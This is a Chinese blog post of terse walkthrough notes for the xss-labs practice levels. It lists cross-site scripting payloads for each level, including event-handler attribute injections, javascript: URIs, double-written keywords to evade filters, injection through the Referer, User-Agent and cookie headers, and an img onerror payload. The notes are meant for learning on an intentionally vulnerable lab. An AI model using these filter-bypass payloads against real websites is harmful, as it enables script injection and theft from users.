• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
shycom
博客园    首页    新随笔    联系   管理    订阅  订阅
xss-labs 破解
xss --js输出
x'</script><script>alert('xss')</script>
 
 
1 先测试
<>"
<script>alert(1)</script>
2 再 试试
<script>alert(1)</script>
3 转义字符
转义符 ’ = \'
“onclick=”alert(1) 111' onclick=alert(1)>
4 注意闭合标签
"/> <a href=" javascript:alert(1)">点我</a>
 
0
5 链接
javascript:alert(1)
6 html 实体转换
1' onclick='alert(111)'
 
 
 
 
less 1
 
0
 
less 2
">
0
 
less 3
' onclick='alert(1)
0
0
less 4
0
" 闭合
" onclick="alert(1)
0
 
less 5
0
" 闭合
0
o_n 过滤
"/> 点我
0
less 6
" onclick="alert(1)
0
"/> 点我
0
 
"/>
但它没有进行大小写过滤
0
 
less 7
0
 
0
过滤了script
0
过滤on s双写试试
" oonnclick="alert(1)
0
 
less 8
javascript:alert(1)
0
还可以将我们要提交的js代码进行编码
javascript:alert(1) ASCII编码转Unicode编码https://www.bejson.com/transfor/ascii2unicode/
javascript:alert(1)
0
 
less 9
javascript:alert(1)
把&转义了
0
javascript:alerrt(1)
0
提交的参数值插入到了标签的value属性值中
但是在标签的href属性中却并没有出现该参数值,
而是显示的 "您的链接不合法?有没有!"这样的字符串。
猜测这里可能对url地址做了匹配。
只有包含正常的url地址才能添加到href属性值中
构造一个有正常url地址的恶意代码:
javascript:alerrt(1);//http://
javascript:alert(1);//http://
第一个// 注释的作用
0
 
less10
0
隐藏了三个输入框
?keyword=&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
0
?keyword=&t_sort=" type="text" onclick="alert('xss')
0
 
less 11
0
?keyword=good job!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
0
 
原来t_sort仍然是接受参数值的,但是里面的双引号被编码了
这样浏览器只能正常显示字符但是却无法起到闭合的作用了。
可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自
己给它加上 referer:111
0
可以看到我们添加的referer头的值出现在了t_ref标签的value属性值中了。
接下来就是从这里突破注入恶意代码了,恶意代码成功插入了value属性值
中,接着将这个请求的响应放行到浏览器试试
成功弹窗了,说明通过referer头来提交恶意代码触发了xss
Referer: Hello" onclick="alert(1)" type="button
0
less 12
看到了t_ua这样一个标签,并且其中的value属性的值怎么看起来那么
像抓取数据包中User-Agent头的值?!
尝试先抓包试试
0
Hello" onclick="alert(1)" type="button
0
0
less 13
改变cokie 会发现 value 也会改变
0
Hello" onclick="alert(1)" type="button
0
0
 
less 16
 
script 转义了
0
0
箭头1:将参数值中的script替换成 
箭头2:将参数值中的空格也替换成 
箭头3:将参数值中的/符号替换成 
绕过思路:可以用回车来将它们分开。
而且这里/符号也被编码了,所以我们需要的是一个不需要闭合的标签,比
如之前所用过的
空格转义 换 %0A
<img%0asrc=1%0aonerror=alert(1)>
0
 
less 17 18
0
改变01和02 的值会发现代码中也会变
所以输入恶意代码 onclick=alert(1)
无作用
0
 
换成arg02=2222%20onmouseover=alert(1) (换成谷歌浏览器)
 
0
 
0
 
less 19
看到19关和17,18页面一样 试试arg02=2222%20onmouseover=alert(1)
发现不行
0
存在闭合 闭合试试
01=a&arg02=2222%20"onmouseover="alert(1) 还是不行
0
" 被转义了
尝试HTML实体转换:
0
还是不行
Flash产生的xss问题主要有两种方式: 1 加载第三方资源 2 与javascript通信引发XSS。 常见的可触发xss的危险函数有: getURL navigateToURL ExternalInterface.call htmlText loadMovie等 flash xss https://www.freebuf.com/sectool/108568.html
答案 (不会)
=version&arg02=<a href="javascriptzalert(1)">111</a>
出现
0
点一下 111 的超链接就完成了
 
less--9
javascript:alert(1);//http://
javascript:alert(1);//http://
 
less--10
0
先F12修改HTML代码,得到输入框,在进行执行命令
0
hellow"onclick="alert(1)"%20type="button
 
less--11
 
0
 
Referer: Hello" onclick="alert(1)" type="button
 
less--16
0
<img%0asrc=1%0aonerror=alert(1)>
 
less--17
0
111&arg02=2222%20onmouseover=alert(1)
 
less--18
0
 
less--19
0
=version&arg02=111
posted on 2022-10-04 19:45  gushy  阅读(321)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3